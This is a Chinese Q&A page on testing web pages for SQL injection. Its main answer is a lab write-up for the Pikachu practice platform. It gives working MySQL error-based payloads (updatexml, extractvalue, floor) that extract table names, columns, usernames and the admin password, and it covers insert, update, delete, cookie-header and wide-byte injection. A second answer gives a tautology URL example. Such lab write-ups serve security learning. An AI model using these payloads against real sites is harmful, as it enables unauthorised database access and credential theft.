web页面怎样做sql注入测试

发布网友 发布时间:2022-04-22 04:41

我来回答

2个回答

懂视网 时间:2022-05-03 07:56

XPath 定位必须是有效的,否则会发生错误

我们在 pikachu 平台上的字符型注入中实验,我们利用报错来获取信息,比如下面这条语句

‘ and updatexml(1, version(), 0)#

我们传入 updatexml 中的三个参数都是错误的,中间那个值可以用表达式写入。执行后会得到类似下面的错误

技术图片

我们需要构造一个新的 payload,把报错信息和我们查询的信息一起输出,构造下面的 payload如下,0x7e是符号 “~” 的16进制

‘ and updatexml(1, concat(0x7e, version()), 0)#

技术图片

这时候就会打印出我们 MySQL 的数据版本了。那我们把 version() 换成 database() 就能取得数据库的名称了。

技术图片知道了数据名我们继续查询表名

‘ and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=‘pikachu‘)), 0)#

但是此时会报错,返回的数据多于 1 行(不止一个表) ,只能显示 1 行报错信息

技术图片

我们在刚刚的 payload 后面用 limit 关键字,取回的结果

‘ and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=‘pikachu‘ limit 0,1)), 0)#

技术图片

上面返回了查询结果中的第一个表名,如果要查询第二个表名,我们可以把 limit 语句换成 limit 1,1

limit 后的第一个数据是起始位置,第二个数字是取出的数据条数

以此类推,取出所有的表名。有了表的名称后我们就去获取字段 

‘ and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name=‘users‘ limit 0,1)), 0)#

以此类推,取出所有的列名。我们就能去取数据了

‘ and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#

然后根据得到的用户名,去查询password

‘ and updatexml(1, concat(0x7e, (select password from users where username = ‘admin‘ limit 0,1)), 0)#

5.2insert/update注入

在这里,注册页面存在注入漏洞

技术图片

所谓 insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入。

我们就填必填的两项,用户那里输入单引号,密码随便输入,页面会有报错信息,说明存在SQL注入漏洞

技术图片

这种情况下,我们知道后台使用的是 insert 语句,我们一般可以通过 or 进行闭合。后台的 SQL 语句可能是下面这个样子

insert into member(username,pw,sex,phonenum,email,adderss) values(‘doge‘, 11111, 1, 2, 3, 4);

构造下面的 payload,基于 insert 下的报错来进行注入

doge‘ or updatexml(1, concat(0x7e,database()), 0) or ‘

这时候报错的信息就能前一个例子是一样的,后面的操作也是这样

技术图片

下面看看 update 注入,比如我们更改密码的时候,后台就是通过 update 去操作的。

登录账号:lucy,123456

我们在这里填入我们刚刚构造的 payload,然后提交也能得到相应的结果

 

或者可以通过构造闭合将敏感信息通过insert或updata操作写入的方式来进行sql注入

技术图片

 

技术图片

 

在数据库中可以看到地址一栏已经被写入了敏感信息 ,通过构造payload可将其他敏感信息写入sex,email,address等栏中,通过登录即可查到相关信息。

 

 

 

5.3delete注入

这里有一个留言板,点删除可以把对应的留言删掉

技术图片

我们点删除并用 BurpSuite 抓包,实际上就是传递了一个留言的 id,后台根据这个 id 去删除留言

技术图片后台可能的 SQL 语句如下

delete from message where id=1

我们发送到 Repeater 中继续进行实验,由于参数的值是数字型,所以后台可能存在数字型注入漏洞,构造payload如下(没有单引号)

1 or updatexml(1, concat(0x7e,database()), 0) 

把 payload 经过 URL编码后替换 BurpSuite 中 id 的值

技术图片

我们也能得到同样的结果

技术图片

5.4extractvalue()

核心原理是一样的,也是对 XML

  extractvalue()函数作用:从目标 XML 中返回包含所查询值的字符串

  语法:ExtractValue(xml_document, XPathstring)

  • 第一个参数:xml_document 是 string 格式,为 XML 文档对象的名称
  • 第二个参数: XPathstring,XPath 格式的字符串
  • Xpath定位必须有效,否则会发生错误。

    同样在字符型漏洞中实验,构造以下 payload 

    ‘ and extractvalue(1, concat(0x7e,database())) #

    它跟 updatexml 使用起来效果是一样的

    5.5floor()

    向下取整。如果要用 floor() 构成报错,必须满足下面的条件

  • 运算中有 count
  • 运算中有 group by
  • 运算中有 rand
  • ‘ and (select 2 from (select count(*), concat(version(), floor(rand(0) * 2))x from information_schema.tables group by x)a)#

    上面表达式执行的结果会以 “a” 作为别名,然后在 字符型注入 中提交,会得到下面的报错

    技术图片

    我们可以把 version() 的表达式替换成别的表达式

    ‘ and (select 2 from (select count(*), concat((select password from users where username=‘admin‘ limit 0,1), floor(rand(0) * 2))x from information_schema.tables group by x)a)#

     

     

    (六)http header注入

    技术图片

     

     

     通过测试发现,这里的注入点在cookie中,使用报错注入

    技术图片

     

    每次只能显示31个字符,可使用substr函数将所有信息分部显示出来

    技术图片

     

    技术图片

     

     

     技术图片

     

     

     (七)宽字节注入

    宽字节注入就是通过‘0xbf‘与反斜杠结合从而将escape函数给引号前加的反斜杠消除,从而闭合引号,这里通过burp抓包,将其中的‘1’在hex界面中改为bf,再发包

    技术图片

     

     

     

     技术图片

     

     

     可以看到成功注出信息

     构造payload:

     

    lucy(0xbf)‘ union select id,concat(username,pw,sex,phonenum,address,email) from member#

     

    技术图片

     

     技术图片

     

     技术图片

     

     (八)布尔盲注

    脚本如下

    技术图片

     

     技术图片

     

     

    (九)时间盲注

     脚本如下

     

    技术图片

    web实验三——pikachu之sql注入

    标签:column   insert   tables   有一个   技巧   www   位置   log   on()   

    热心网友 时间:2022-05-03 05:04

    直接在地址栏输入表达式进行测试.
    示例:www.xx。net?id=1'or'1'='1

    声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com